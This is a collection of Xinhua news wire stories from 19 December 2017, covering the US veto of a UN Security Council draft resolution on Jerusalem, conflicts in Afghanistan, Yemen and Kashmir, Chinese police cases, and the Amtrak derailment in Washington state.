Rycroft said his country believes Jerusalem is a final-status issue and should be a shared capital of Israelis and Palestinians. The British embassy in Israel will remain in Tel Aviv, he added.

CHINA'S STANCE

After the vote, Wu Haitao, charge d'affaires of China's permanent mission to the United Nations, called for unity of the United Nations Security Council and the international community at large over the issue of Jerusalem and for common effort toward peace in the Middle East.

He said the issue of Palestine is at the core of Middle East peace and China has consistently supported and pushed forward the Middle East peace process.

"We support the just cause of restoring the legitimate national rights of the Palestinian people, support the establishment of a fully sovereign, independent State of Palestine based on the 1967 borders with East Jerusalem as its capital. Such a position of China will not change," he said.

China will continue to push for a political settlement of the Jerusalem issue on the basis of a two-state solution, following Chinese President Xi Jinping's four-point proposal in July, he said.

The proposal calls for advancing a political settlement of the Israeli-Palestinian issue on the basis of the two-state solution, upholding a common, comprehensive, cooperative and sustainable security concept, further coordinating and strengthening concerted efforts for peace, and promoting peace with development.
Source: Xinhua| 2017-12-19 13:29:54|Editor: Chengcheng

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JALALABAD, Afghanistan, Dec. 19 (Xinhua) -- At least four militants loyal to the Islamic State (IS) were killed and five others injured as government forces attacked militants' positions in parts of Khogiani district in eastern Afghanistan's Nangarhar province over the past 24 hours, said a statement of the provincial government released here on Tuesday.

Security forces, backed by aircraft, started attacking IS insurgents in parts of Khogiani district since Monday morning with the objective to evict the hardliner group from the area, the statement added.

IS militants are yet to make comment.

The operations launched in Khogiani and adjoining areas early this month have been continuing.
Source: Xinhua| 2017-12-19 13:29:54|Editor: liuxin

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FUZHOU, Dec. 19 (Xinhua) -- Chinese police have busted a drug production workshop at an abandoned factory in Zhoukou City in central China, seizing 20 suspects, authorities said Tuesday.

Police officers from Putian City in Fujian Province and Zhoukou City in Henan Province raided the factory in Zhoukou in early October.

They seized more than 1.5 tonnes of ephedrine, a raw material for methamphetamine, 70 tonnes of other raw materials and some drug-manufacturing equipment, Putian public security bureau said.

Putian police obtained information in September that a number of Fujian residents were producing drugs in Zhoukou. After preliminary investigation, they tracked down the gang.

Further investigation is underway.

Chinese police arrested 168,000 suspects for drug production or trafficking and solved 140,000 drug cases last year.
Source: Xinhua| 2017-12-19 13:34:57|Editor: Zhou Xin

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An Afghan health worker gives a polio vaccine to a child in Kandahar city, capital of southern Kandahar province of Afghanistan, Dec. 20, 2017. The number of polio cases recorded in Afghanistan has risen to 12 this year with a new confirmed case in last week, a local newspaper, Daily Outlook Afghanistan, reported on Tuesday. (Xinhua/Sanaullah Seiam)

KABUL, Dec. 19 (Xinhua) -- The number of polio cases recorded in Afghanistan has risen to 12 this year with a new confirmed case in last week, a local newspaper, Daily Outlook Afghanistan, reported on Tuesday.

One case of wild polio virus was detected in Shah Wali Kot district, southern Kandahar province in last week, bringing to five the number of the polio virus cases in Kandahar and the nationwide number total to 12 in the outgoing year, the report said.

After the detection of the fresh case, the Afghan ministry of public health, supported by the UN agencies of UNICEF and WHO, launched on Monday, a three-day mass vaccination campaign in several provinces including Kandahar.

The campaign will deliver oral polio vaccines to over 5.5 million children.

The ongoing insurgency and conflicts have been hindering the efforts to stamp the infectious disease out in the mountainous country.
Source: Xinhua| 2017-12-19 13:55:02|Editor: Yamei

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U.S. Ambassador to the United Nations Nikki Haley (R, front) vetoes a UN Security Council draft resolution on the status of Jerusalem at the UN headquarters in New York, on Dec. 18, 2017. The United States on Monday vetoed a Security Council draft resolution on the status of Jerusalem. All other 14 members of the Security Council voted in favor of the Egyptian-drafted text. But as the United States, which is a permanent member of the Security Council, has veto power, the draft resolution failed to be adopted. (Xinhua/UN Photo)

UNITED NATIONS, Dec. 18 (Xinhua) -- The international community called on involved parties to hold negotiations to determine the status of Jerusalem after the United States on Monday vetoed a United Nations Security Council (UNSC) draft resolution.

The Egyptian Ambassador to the United Nations, Amr Abdellatif Aboulatta, said that the draft resolution sought to ensure that any attempts to alter the characteristics or demographic composition of the Old City of Jerusalem would have no effect, were null and void, and must be rescinded.

It also called on all parties not to establish diplomatic missions in Jerusalem.

The other 14 members of the Security Council voted in favor of the Egypt-drafted text but as the United States, a permanent member of the UNSC, has veto power, the draft resolution failed to be adopted.

In explaining the veto, U.S. ambassador to the United Nations Nikki Haley said it was the first U.S. veto in the Security Council in more than six years.

"We do it with no joy, but we do it with no reluctance," she told the Security Council.

Despite the fact that the vote was 14-1, Haley said the veto was not a source of embarrassment for the United States. "It should be an embarrassment to the remainder of the Security Council," she said, arguing that her country had the sovereign right to determine where or whether to establish its embassy in another country.

The other members of the Security Council hold that Israel has no sovereignty over all of Jerusalem, an issue that should be solved by the Israelis and Palestinians through negotiations.

Matthew Rycroft, the British ambassador to the United Nations, said his country disagrees with the U.S. decisions to unilaterally recognize Jerusalem as the capital of Israel and move the U.S. embassy to Jerusalem from Tel Aviv.

"These decisions are unhelpful to the prospects of peace in the region, an aim that all of us in this council remain committed (to)," he told the Security Council after the vote.

"The British embassy in Israel is based in Tel Aviv and we have no plans to move it," he added.

Rycroft said the British position on Jerusalem was clear and long-standing: "The status of Jerusalem should be determined through a negotiated settlement between the Israelis and Palestinians, and should ultimately be the shared capital of the Israeli and Palestinian states."

Britain regards East Jerusalem, which Israel captured in 1967, as part of the occupied Palestinian territories.

Wu Haitao, charge d'affaires of China's permanent mission to the United Nations, said the issue of Palestine, which is at the core of Middle East peace, is complicated and sensitive.

The issue of Jerusalem is particularly complicated and sensitive, and involves the basis for finding a solution to the Palestinian issue, he said.

A series of Security Council resolutions, including Resolution 2334, made stipulations on the issue of Jerusalem. The draft resolution put to vote on Monday is in line with previous Security Council resolutions and is a continuation of the contents and spirit of past resolutions, said Wu, explaining China's "yes" vote on the draft resolution.

China has consistently supported and pushed forward the Middle East peace process, he said.

"We support the just cause of restoring the legitimate national rights of the Palestinian people, support the establishment of a fully sovereign, independent State of Palestine based on the 1967 borders with East Jerusalem as its capital. Such a position of China will not change."

French ambassador to the United Nations Francois Delattre regretted the outcome of the vote, saying adoption should have been a foregone conclusion as the draft was in line with international consensus over the status of Jerusalem that was built in the past decades.

The decisions by U.S. President Donald Trump on Dec. 6 to recognize Jerusalem as the Israeli capital and to move the U.S. embassy to Jerusalem did not modify the common foundation on which all peace agreements must be based, he told the Security Council. "France does not recognize any sovereignty over Jerusalem."

"The result of the vote today translates the will of 14 members of this council to reaffirm their collective attachment to international law, in particular resolutions of this council, on a central issue, namely the status of Jerusalem. This is decisive for any prospects for peace. It underscores the willingness of the broad majority of the members of the council to not recognize any decision contrary to its resolutions."

Given its important role in Middle East peace, it is incumbent on the Americans to explain the compatibility of the Dec. 6 announcement with international consensus, without which no credible effort of peace can be conducted, he said.

Without agreement on Jerusalem, there will be no peace agreement, he noted.

France and the European Union believe that Jerusalem must be the capital of both states of Israel and Palestine according to modalities that must be defined by the parties through negotiations, he said. "No unilateral decision can replace this."

There is no alternative to a two-state solution, said the French envoy.

Earlier on Monday during a Security Council debate on the Middle East situation, Nikolay Mladenov, the UN special coordinator for the Middle East peace process, observed that violence flared up in the wake of the U.S. decision to recognize Jerusalem as the capital of Israel.

Since Dec. 6, the situation has become more tense with an increase in incidents, notably rockets fired from Gaza and clashes between Palestinians and Israeli security forces, Mladenov told the Security Council.

From Sept. 20 to Dec. 18, altogether 28 rockets and 12 mortar rounds were fired from Gaza toward Israel. In response, the Israeli Defense Forces continued to target a number of Hamas and Islamic Jihad military posts across the Gaza Strip in which two Palestinian militants and one civilian were killed, with at least 28 people injured, he said.

Since Dec. 7, there has been a visible increase in rockets fired by Gaza militants. Of the 40 projectiles fired between Sept. 20 and Dec. 18, 27 have been launched since Hamas called for an escalation. Four rockets were intercepted by the Iron Dome system. At least eight more rockets landed in Israel.

"I am particularly concerned as to the future of our collective efforts to achieve peace between Israelis and Palestinians," he said, warning that there is a growing risk that the parties may revert to more unilateral actions.

In the current environment, the continued absence of a credible proposal, which can become the basis of meaningful negotiations, is damaging the prospects for peace. The lack of significant steps on the ground that protect the viability of a two-state solution and support Palestinian statehood is undermining moderates and empowering radicals, he warned.
Source: Xinhua| 2017-12-19 14:25:07|Editor: Yamei

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Helicopters fly in the formation of the number "90" symbolizing the epic journey of the People's Liberation Army (PLA) in 90 years during a military parade at Zhurihe training base in north China's Inner Mongolia Autonomous Region, July 30, 2017. China on Sunday kicked off a grand military parade to mark the 90th founding anniversary of the PLA. (Xinhua file photo/Wang Jianhua)

BEIJING, Dec. 19 (Xinhua) -- This winter marks the second anniversary of the launch of China's reform of its armed forces.

Here's a list of facts and figures on the historic breakthroughs.

-- Four general departments at military headquarters were reorganized into 15 agencies within the Central Military Commission (CMC). One-third of the personnel were cut.

-- Five theater commands were established to replace the previous seven military area commands.

-- A new military structure has been established with the CMC exercising overall leadership, while the theater commands are responsible for military operations and the services focus on developing capabilities.

-- After remarkable downsizing of the ground forces, the army now accounts for less than 50 percent of the armed forces.

-- Over 1,000 units at the regiment level or above and 30 percent of commissioned officers were cut during the reform.

-- Seventy-seven military education institutions were regrouped to 43, including a strengthened National University of Defense Technology.

-- New laws and regulations on military issues have been introduced or amended, including a revised regulation on civilian personnel in the military released on Nov. 10, 2017.

Related:

Xi stresses military reform, warns against rigidity, stagnation

BEIJING, Aug. 1 (Xinhua) -- Chinese President Xi Jinping said Tuesday that the People's Liberation Army (PLA) must be bold in reform and adept in innovation while staying away from rigidity and stagnation at any time and under any circumstances. Full Story

China to allow more private capital in military industry

BEIJING, Dec. 4 (Xinhua) -- China will allow more private capital in the shares of military enterprises to deepen military-civilian integration, according to a guideline issued by the State Council. Full Story

CMC to standardize benefits for senior military officials
Source: Xinhua| 2017-12-19 14:25:07|Editor: Chengcheng

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MAIMANA, Afghanistan, Dec. 19 (Xinhua) -- At least six militants were killed as security force aircraft pounded Taliban positions in Shirin Tagab district of northern Afghanistan's Faryab province on Tuesday, an army spokesman Nasratullah Jamshidi said.

"Acting upon intelligence report, the aircraft target a hideout of Taliban group in Torgul village of Shirin Tagab district early today morning killing six rebels on the spot and destroyed all their arms and ammunitions inside the hiding place," Jamshidi told Xinhua.

Taliban militants haven't commented.

Parts of Shirin Tagab district has been the scene of heavy fighting over the past few days and 13 people including eight militants and five security personnel were reportedly killed there on Monday.
Source: Xinhua| 2017-12-19 14:35:09|Editor: Chengcheng

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WASHINGTON, Dec. 18 (Xinhua) -- Washington's newly-unveiled national security strategy looks rather out of season in an age that calls for the spirit of cooperation and multilateralism.

The document, introduced by U.S. President Donald Trump on Monday, is expected to guide America's future policies with the aim to defend the quad-core security interests.

The new policy playbook is an unmistakable message of the Trump administration to put "America First," and to maintain Washington's "unmatched" advantages and influence over the rest of the world through its strength.

Regrettably, Washington is using "yesterday's formula" to address today's questions. It is sending a wrong message that encourages others to place self-interests ahead of collective stakes at a time when cooperation on a global scale is very much in need.

What's more worrying is that the strategy has called some of Washington's key global partners, including China and Russia, "rival" and "revisionist" powers, and accused them of trying to alter the U.S.-favored status quo.

That would only widen the gap of distrust between them, and set up more hurdles when they have to work together on some of the most pressing global problems like combating terrorism.

Across the world, though global economic recovery is picking up, it still faces uncertain prospects for long-term growth and a rising tide of protectionist moves. Global confidence in a strong future growth has yet to find a solid foundation.

Also, such non-conventional challenges as climate change are risking the very survival of the human race, and are appealing responsible and joint efforts from countries around the world.

On these matters of global concerns, the United States, the world's sole superpower, has in the document either vowed to defend its own national interests via unilateral actions, or shed little light in the document on its commitment to playing a constructive role.

Already, Washington's unilateral approach, such as backing away from key international treaties like the Paris climate change accord and announcing Jerusalem as capital of Israel, has begun to trigger criticism and introduce chaos in many parts of the globe.

The White House' s foreign policy prioritizes America First over international rules, competition over cooperation, hard power over soft charms and domestic ballots over the world' s cheers in almost all areas.

The policy makers in Washington needs to know that in this age of global interdependence, the fate all members of the international community have been bonded together and the attempt to preserve one' s own national interests without being mindful of other parties is not only impossible but also could boomerang.

Washington has always been fond of telling others to honor their responsibilities. Now is the time for the country to have a fresh mindset that fits this new era and commit itself to a more constructive engagement with the world.
Source: Xinhua| 2017-12-19 14:40:10|Editor: Chengcheng

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NEW DELHI, Dec. 19 (Xinhua) -- More than 12 people have been injured after 10 vehicles were caught in a pile-up on an expressway in India's Uttar Pradesh state Tuesday, police said.

The accident occurred on the Bangarmau stretch of the Lucknow-Agra expressway in the state's Unnao district, some 250 kms from Uttar Pradesh's capital Lucknow.

"Low visibility due to dense fog was responsible for the collision between the 10 cars this morning. The injured have been rushed to a nearby hospital," a senior police official said.

A probe has been ordered into the incident, he added.

This is the second major pile-up on a high-speed corridor in the state in the past one-and-a-half month. In November, 18 cars rammed into each other due to dense fog on Yamuna Expressway.

Common in northern India in the winter months of November to January, dense fog often leads to road accidents.
Source: Xinhua| 2017-12-19 15:10:17|Editor: Yurou

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By Levi J Parsons

SYDNEY, Dec. 19 (Xinhua) -- With rising power costs, regular blackouts and little support from energy providers or governing bodies, one Aussie couple decided to build their own solar farm and supply their entire outback region with electricity.

Covering an area around 65,000 square kilometers, the Gulf of Carpentaria Shire sits in the far north of Australia, in the northwest corner of Queensland State.

But in such a large, isolated area, electricity supply across the region had become a major concern for locals, so Doug and Lyn Scouller took matters into their own hands.

"I'm an electrician by trade and I came to the realisation that our power actually comes all the way from Rockhampton, which is about 1,800 kilometers away, and that's a hell of a long way to get power up here!" Doug Scouller explained to Xinhua.

"The longer the extension lead, the less power you get at the end of it, so we had a lot of problems with supply."

"You could be sitting here bathed in beautiful sunshine, but there could be a storm 400-500 kilometers away and the power cuts out on you!"

With losses of up to 50 percent occurring in the line, the Scoullers noticed their overheads increasing dramatically at the couple's four star hotel complex they'd been operating in the township of Karumba.

They discovered almost all of the increased costs were due to surging electricity prices.

"There was so many loses and it occurred to me that somebody had to pay for that and I realised that they were lumping all of those loses onto the consumer," Scouller said.

"So I thought why not put a generator out here?"

"If we have a load of about five megawatts with a solar farm, that could handle the load then there would be no need for any power coming in and we would reduce the losses to zero and reduce the pressure on prices."

With the facility now up and running for over one week, Scouller said that building the 16,000-panel farm was actually the easiest part of the entire process.

Australia's large banks and other major commercial lenders were highly sceptical of the project and unwilling to offer any financial support.

But when the world's third largest solar firm, Canadian Solar Inc, came on board, the international push boosted the credibility of the innovative concept and the Federal Government's Australian Renewable Energy Agency granted the Normanton Solar Farm 6.5 million U.S. dollars in funding.

From there, a number of other organisations joined and the project was built for a total of 10.7 million U.S. dollars.

"It's big country up here, the nearest town is about 400 kilometers away, so everything is done over long distances in this community," Scouller said.

"So basically we can supply the whole Shire from the townships of Normanton and Karumba, there are feeder lines that go out towards Burketown, up towards Yagoona and down towards Cloncurry."

But the work is not over yet for the Scouller's, when the idea was first imagined, battery storage technology was in its infancy, but over the years however, innovation within the sector has gone ahead in leaps and bounds.

"We did design our main control room to retrofit battery storage later on," Scouller explained.

"So that's one thing we're looking at straight away and that will help a lot with the network service providers because they will feel a bit more comfortable once they know you've got storage."

Scouller hopes his ingenuity and determination will help inspire state governments down under to be more open to new ideas and think outside the box when it comes to regional areas.

"I think that would be a great help to other communities in similar situations," he said.

Although living in one of the world's harshest and remote landscapes surrounded by crocodiles isn't for everyone, Scouller said, "it's a land of opportunity up here, with great people and a lot of hard workers!"
Source: Xinhua| 2017-12-19 15:20:20|Editor: Yurou

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KABUL, Dec. 19 (Xinhua) -- Six militants were killed and two others wounded in an explosion in Afghanistan's southern province of Zabul, Afghan defense ministry said on Tuesday.

The incident occurred on Monday in remote Shamulzay district bordering Pakistan when the killed militants were busy building an Improvised Explosive Device (IED) but the weapon exploded prematurely, leaving the casualties, the ministry tweeted.

Taliban militants and Islamic State (IS) fighters have been using home-made IEDs to target security forces but the lethal weapons also inflict casualties on civilians.

On Monday, three children were killed and six children wounded after an IED went off along a road on outskirts of Mehtarlam city, capital of eastern Laghman province.

The militants have yet to make comments on the report.
Source: Xinhua| 2017-12-19 15:35:24|Editor: pengying

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LANZHOU, Dec. 19 (Xinhua) -- A maintenance project has finished on the Jiayu Pass, a famed part of the Great Wall built in the Ming Dynasty (1368-1644) in Jiayuguan City, northwest China's Gansu Province.

The Jiayu Pass is regarded as the western start of Ming Dynasty Great Wall and continues to the Shanhai Pass in Hebei Province on China's eastern coast.

Inscribed on the UNESCO list in 1987, the pass features 11.7-meter-high tower walls and meanders across undulating hills and rocks. The site attracted 1.1 million visitors in 2016.

Qiu Jian, a relic protection official, said the work used traditional construction methods and materials, helping to restore the past glory of the military fortress and protect its cultural heritage.

The Great Wall had a poor drainage system, and was cracked and weathered by dry and windy conditions before maintenance began in 2012.

The government-funded work cost over 300 million yuan (45 million U.S. dollars), and renovated a 3.5 square km area of the Great Wall and a 70 square km scenic zone.

The renovation took five years and included gate and beacon towers.
U.S. Ambassador to the United Nations Nikki Haley vetos an Egyptian-drafted resolution regarding recent decisions concerning the status of Jerusalem, during the United Nations Security Council meeting on the situation in the Middle East, including Palestine, at U.N. Headquarters in New York City, New York, U.S., December 18, 2017. (Reuters Photo)

CAIRO, Dec. 19 (Xinhua) -- Egyptian Foreign Ministry on Monday expressed regret at the UN Security Council's failure to pass the Egypt-drafted resolution on Jerusalem due to the U.S. veto.

Egyptian Foreign Ministry spokesman Ahmed Abu Zeid said that the resolution reflects the international community's rejection to U.S. President Donald Trump's decision that aims at changing the status of Jerusalem.

Trump, breaking away from decades-old U.S. policy of neutrality on the issue, announced on Dec. 6 to recognize Jerusalem as Israel's capital and ordered to move the U.S. embassy to the disputed holy city.

This has infuriated the Palestinians and Arab countries, which have strongly protested against the U.S. move. The Palestinians want East Jerusalem, now occupied by Israel, as the capital of their future independent state.

Egypt filed a draft resolution to the UN Security Council urging the U.S. to rescind Trump's declaration of Jerusalem as the capital of Israel.

The U.S. on Monday vetoed the resolution, which was approved by 14 other members of the council, in reflection of the depth of global opposition to Trump's action, Zeid said.

He added that the Arab group in the UN will convene later to assess the situation and determine the next step in order to defend the status of Jerusalem.
Source: Xinhua| 2017-12-19 16:30:32|Editor: Yurou

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KABUL, Dec. 19 (Xinhua) -- The Afghan government on Tuesday welcomed the U.S. president's new national security strategy, saying the plan was in the line with Kabul's and Washington's shared objectives against terrorism, said the Afghan Presidential Palace.

"President Donald Trump's new National Security Strategy (NSS) affirms the enduring U.S.-Afghanistan strategic partnership," the palace said in a statement.

On Monday, Trump announced the national security strategy, the first of its kind since he took office in January.

"The NSS and the U.S. South Asia strategy are the cornerstones upon which our shared efforts to defeat terrorism and bring stability to Afghanistan are built. Our partnership, which reflects a renewed U.S. commitment, will set the conditions to end the war and finally bring peace to Afghanistan," the statement read.

The Afghan government welcomed "the strategy aims to strengthen peace and stability in the region especially through diplomatic means," it said.

The Afghan government was committed to the principle of mutual respect and cooperation among states in the region.

"We have always worked and shall continue to do so for a peaceful region with increased connectivity for the shared economic development of our people in this region. To this end, we will continue to work with our neighbors close and far in the region," said the statement.
A Shiite Huthi rebel uses his cell phone to film as his comrades and their supporters watch on a big screen a live speech given by leader Abdul-Malik al-Houthi, as they attend a rally outside al-Saleh mosque in the capital Sanaa on the occasion of the Prophet Mohammed's birthday on November 30, 2017. (AFP Photo)

ADEN, Yemen, Dec. 19 (Xinhua) -- The Shiite Houthi group fighters are losing ground on daily basis in Yemen's western coast areas.

It comes amid expectations of recapturing the strategic port city of Hodeidah by the country's internationally-backed government forces in the next days.

The pro-Houthi fighters positioned across the country western coast areas are the main target of the Yemeni government forces, backed by the air force of Saudi-led Arab coalition.

The Saudi-backed Yemeni troops and the local fighters allied with the government have been making strides, kicking the Houthis from three districts of Hodeidah province during past ten days.

The forces loyal to the legitimate President Abdu-Rabbu Mansour Hadi defeated the Houthi rebels in the Khokha district and other two districts in Hodeidah, following a broad military offensive it launched in cooperation with the Saudi-led Arab coalition.

The operation resulted in clearing the entire main roads leading to Hodeidah and seizing a key military base from the Houthis in addition to seizing several government institutions there.

Capturing the three districts of Hodeidah is part of a wide-scale military offensive waged by the Yemeni government forces and its allied tribal fighters against the Shiite Houthi group in the strategic port city of Hodeidah.

Scores of fighters from the two warring rivals were killed and many others were injured during the fighting that is still taking place in Yemen's western coast areas.

Medical sources said three consecutive days of fighting resulted in the death of "more than 80 Houthi fighters and 40 pro-government soldiers near Hodeidah."

The Saudi Arabia-led military coalition has intensified military air campaign against Houthi positions in and around the Houthi rebels-held capital Sanaa since Houthis killed former President Ali Abdullah Saleh on Dec. 4.

The coalition has intervened in the Yemeni conflict in March 2015 to roll back Iranian-aligned Houthi rebels, and backed internationally recognized President Abd-Rabbu Mansour Hadi whom Houthis forced into exile in Saudi Arabia.

The war has killed over 10,000 Yemenis, mostly children, displaced 3 million, and triggered the world's most humanitarian catastrophe.

Tensions have escalated in Sanaa and other northern provinces after Houthis killed their top ally strongman Saleh after he changed alliance and backed the anti-Houthi coalition.
Source: Xinhua| 2017-12-19 16:35:33|Editor: pengying

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BEIJING, Dec. 19 (Xinhua) -- A senior official of China's securities watchdog has called for improved laws on capital markets as rapidly developing financial technology, or FinTech, is posing challenges to traditional financial supervision.

"FinTech innovations that feature internet, big data and artificial intelligence are exerting profound influence on capital markets," said Huang Wei, assistant chairman of the China Securities Regulatory Commission, at a forum.

Describing the challenges as "unprecedented," Huang stressed legal systems should catch up with technological advances.

Tech-based financial transactions should be clearly identified to ensure all deals are under targeted supervision, Huang said, adding that regulatory methods should also tolerate mistakes and allow for corrections. "There should be room for regulators to encourage and guide FinTech development."

Huang stressed, however, that violations in the disguise of FinTech will face severe punishments in a bid to protect investors and defend market equity. "[We will] maintain a bottom line of no systemic risks."

FinTech is booming in China where the financial sector has been open to new technology from mobile payments to online lending.

Business services group EY said in a report that China outperformed India and Britain to rank first among 20 major markets in terms of FinTech usage in areas including money transfers, investments, borrowing and insurance in August.

However, risks have also emerged.

Having reined in rampant peer-to-peer lending and insecure cash loans, Chinese regulators are moving fast to keep abreast with the latest developments and protect market order.

The People's Bank of China, the central bank, set up a FinTech committee earlier this year to enhance research, planning and coordination in the field.
Source: Xinhua| 2017-12-19 16:55:36|Editor: pengying

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BEIJING, Dec. 19 (Xinhua) -- China and the European Union (EU) held a seminar in China recently to share experience in controlling precursor chemicals, the Chinese Ministry of Public Security said Tuesday.

The two sides each introduced the main measures and progress they made in curbing illegal production and transaction of precursor chemicals, and reviewed the latest development of this issue, according to a ministry press release, which did not provide exact details of the seminar.

Precursor chemicals are substances that can be used illegally to make narcotic drugs and psychoactive substances but they also have legitimate commercial uses.

The two sides shared experience of how to detect abuse and illegal production of precursor chemicals through testing waste water and how to encourage private companies to cooperate with the government, the statement said.

They also exchanged leads in certain cases involving suspects from both sides.

China and EU would like to better share experience in legislation, administration and law enforcement in this regard and work together to tighten monitoring of red-flagged precursor chemicals and investigate cases, the statement said.
Source: Xinhua| 2017-12-19 16:55:36|Editor: Yurou

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NEW YORK, Dec. 18 (Xinhua) -- A concert aimed at promoting and celebrating a fusion of Western and Eastern music was held on Monday night at New York's famous Carnegie Hall, premiering five pieces by contemporary American and Chinese composers to charm both American and Asian audience.

The concert, called New York New Fusion Music Concert, was staged by members of Unheard-Of//Ensemble, F-Plus Music, and All of the Above Ensemble.

It brought together many different elements.

Edward Smaldone, professor of music at the Aaron Copland School of Music, the City University of New York, created a new piece specifically for the concert. It was also the first piece of his works inspired by Chinese culture, including the use of Zhongruan, a Chinese plucked string instrument, in addition to Western music instruments.

"Every instrument has its own tradition ... The development of these instruments belongs to each and different cultures. What we have done is to combine these techniques together," said Smaldone.

His new piece was inspired by the Chinese classic novel "Tale of Water Margin," which was set against a fading Song Dynasty (960-1279) plagued with corruption and bogged down in political and social turmoils.

"The spirit I have sought is one that includes vernacular musical gestures, and speaks in a vivid language," said Smaldone.

Talking about the pieces played at the concert that fuse Western and Eastern music, he said audience with different background may appreciate them in entirely different ways.

For an American, he may feel a Chinese instrument comes in, takes over and changes the whole sound; while for a Chinese, the Western instruments are burying that beautiful sound from a Chinese instrument, he said.

"(But) it opens up your ears to new possibilities," said Smaldone.

Wang Xian, artistic director of the concert, said she hoped the concert could contribute to Chinese culture promotion in the mainstream American society.

Three Chinese instruments featured at the concert, namely Pipa (a four-stringed instrument), Zhongruan, and Sheng (a mouth-blown free reed instrument). U.S. composers were invited to the concert to create music using Chinese instruments, and by this, Wang hoped U.S. composers would know better about the instruments.

"I want Chinese instruments to be universal, just like the piano," Wang told Xinhua.

Wang said that for many years, many people have believed that Chinese music instruments are confined to traditional Chinese music only. She wants to change their minds with this concert and many projects to come, showing Chinese instruments can do much more than they think.
Source: Xinhua| 2017-12-19 17:00:37|Editor: Yurou

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ANKARA, Dec. 19 (Xinhua) -- Turkish Deputy Prime Minister Bekir Bozdag on Tuesday criticized the U.S. for vetoing a draft resolution on the status of Jerusalem at the UN Security Council (UNSC).

"The U.S. should not insist on its position contrary to international law. The U.S. should step back from the wrong decision as soon as possible," Bozdag wrote on his official Twitter account.

Turkey will continue to follow developments on the issue to ensure the recognition and preservation of Jerusalem's status as Palestine's capital, he added.

On late Monday, the Turkish Foreign Ministry also expressed regrets in a statement about U.S. veto of the resolution, saying the move "reveals once again that this country is no more objective."

Turkey will continue to stand by the State of Palestine and support its fair struggle in international community, the statement said.

The U.S., a permanent member of the UNSC, vetoed Monday a draft resolution on the status of Jerusalem, while the other 14 members of the Security Council voted in favor of the Egypt-drafted text.
Source: Xinhua| 2017-12-19 17:00:37|Editor: Yurou

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KUALA LUMPUR, Dec. 19 (Xinhua) -- Police in Malaysia and China have worked together to nab 146 suspects over telecom fraud scams, the Malaysian state news agency Bernama reported on Tuesday, citing a senior Malaysian police officer.

Amar Singh, director of the police commercial crimes investigation department, said at a briefing that 71 suspects were caught in an operation on Dec. 12, while the other 75 were nabbed by the Chinese side.

The arrests of the suspects, aged between 30 and 45, were made possible with the cooperation between the Malaysian and the Chinese police, he added.

Singh said the suspects are believed to have been conducting illegal activities in Malaysia for more than six months, using the so-called VoIP, or Voice over Internet Protocol services to target victims mainly in China.

Describing the suspects as members of a scam syndicate, Singh said they have swindled victims out of 13 million ringgit (3.19 million U.S. dollars) by faking as staff members from banks or other financial institutions, then they would dupe victims to wire money into a certain account.

The suspects, a majority of them being Chinese nationals, have been remanded for 14 days and will be deported and handed to Chinese authorities.
Source: Xinhua| 2017-12-19 17:25:41|Editor: Chengcheng

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A local boy walks on the debris of a damaged house after a gunfight at Batmuran Villageof Shopian district, about 55 km northwest of Srinagar city, the summer capital of Indian-controlled Kashmir, Dec. 19, 2017. A woman was killed and nine others wounded Tuesday after government forces fired at agitating protesters near a gunfight site in restive Indian-controlled Kashmir, officials said. (Xinhua/Javed Dar)

SRINAGAR, Indian-controlled Kashmir, Dec. 19 (Xinhua) -- A woman was killed and nine others wounded Tuesday after government forces fired at agitating protesters near a gunfight site in restive Indian-controlled Kashmir, officials said.

The clashes broke out at village Batmuran of Shopian district, about 55 km northwest of Srinagar city, the summer capital of Indian-controlled Kashmir.

"One young woman was brought dead to the hospital here today. She had a firearm wound in abdomen," a senior health official at Pulwama district hospital told Xinhua. "Besides this nine people were brought here and all of them were hit by pellets."

Reports said clashes broke out in the village following the killing of two militants in an overnight fierce gunfight. The government forces have laid down cordon around the area and suspected the third militant was still in the village.

Authorities have suspended internet services in the area, fearing it would mobilize people to stage protests near the gunfight site.

"The villagers came out in the morning shouting anti-India slogans and hurling stones on government forces," a police official said.

"The government forces fired warning shots and tear gas to chase assembled people as their interruptions were affecting the ongoing search operation."

The slain woman was identified as 24-year-old Beauty Jan of Batmuran village.

People assembling at gunfight sites in support of militants and attacking government forces with stones have evolved as a new phenomenon of resistance in the region. Despite reprimand from police and army to stay away from gunfight sites, people continue to ignore calls and readily defy restrictions.

Anti-India sentiment runs deep in the psyche of majority of Kashmiris. Irate residents often take to roads and clash with police. The youth throw stones and brickbats on contingents of police and paramilitary, who respond by firing tear smoke shells, pellets and bullets, which often proves fatal.

A guerilla war is going on between militants and Indian troops stationed in Indian-controlled Kashmir since 1989. The gunfight between the two sides takes place intermittently across the region.

Kashmir, the Himalayan region divided between India and Pakistan, is claimed by both in full. Since their independence from Britain, the two countries have fought three wars, two exclusively over Kashmir.
Source: Xinhua| 2017-12-19 17:30:43|Editor: Yurou

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SAN FRANCISCO, Dec. 18 (Xinhua) -- At least three people were killed and more than 72 others were hospitalized, with 10 in serious condition as of Monday night, after a train derailed in the west U.S. state of Washington, the State Patrol said.

Amtrak 501, run by intercity rail operator, the National Railroad Passenger Corporation (better known as Amtrak), derailed earlier on Monday on its first run on a new route in Pierce County in Washington state.

The train carrying 86 people was heading south from Seattle when 13 of its 14 cars jumped tracks near Tacoma, a city in Pierce on the West Coast, with some cars falling off a bridge and hitting vehicles below, the Washington Patrol said in a press release late Monday.

The route was opened after weeks of inspection and testing, the county sheriff's department said, adding that fallen train cars damaged five vehicles and two semi-trucks traveling on the highway below.

The southbound lanes of Interstate 5 (I-5) freeway were completely blocked by the train. The section will probably not be open until Dec. 19.

The U.S. National Transportation Safety Board (NTSB) said earlier that a 20-member team has been sent to investigate the incident.

There is yet no official announcement as to what caused the deadly accident.

Local media said that the Amtrak train was supposed to slow dramatically before entering the curve where the derailment occurred.

The speed limit at the curve where the train crossed I-5 is 30 miles (45 km) per hour, while the speed limit on most of the track is 79 mph (about 126 km) per hour, State Transportation Department spokeswoman Barbara LaBoe told local media.

The Washington State Patrol said the Washington Department of Ecology is evaluating an approximately 350 gallon (about 1,400 liter) fuel spill that came from the power car.

Earlier Monday, President Donald Trump offered his "thoughts and prayers" for the victims of the accident.

Officials said the Amtrak railway route has recently undergone a retrofit program costing 181 million U.S. dollars in order to speed up passenger service that previously traveled away from the freeway and along the coast.

Founded in 1971 and headquartered in the Union Station in Washington, D.C., Amtrak serves more than 500 destinations in 46 states and three Canadian provinces with more than 300 trains running over 34,000 km daily.
Source: Xinhua| 2017-12-19 18:15:51|Editor: Yamei

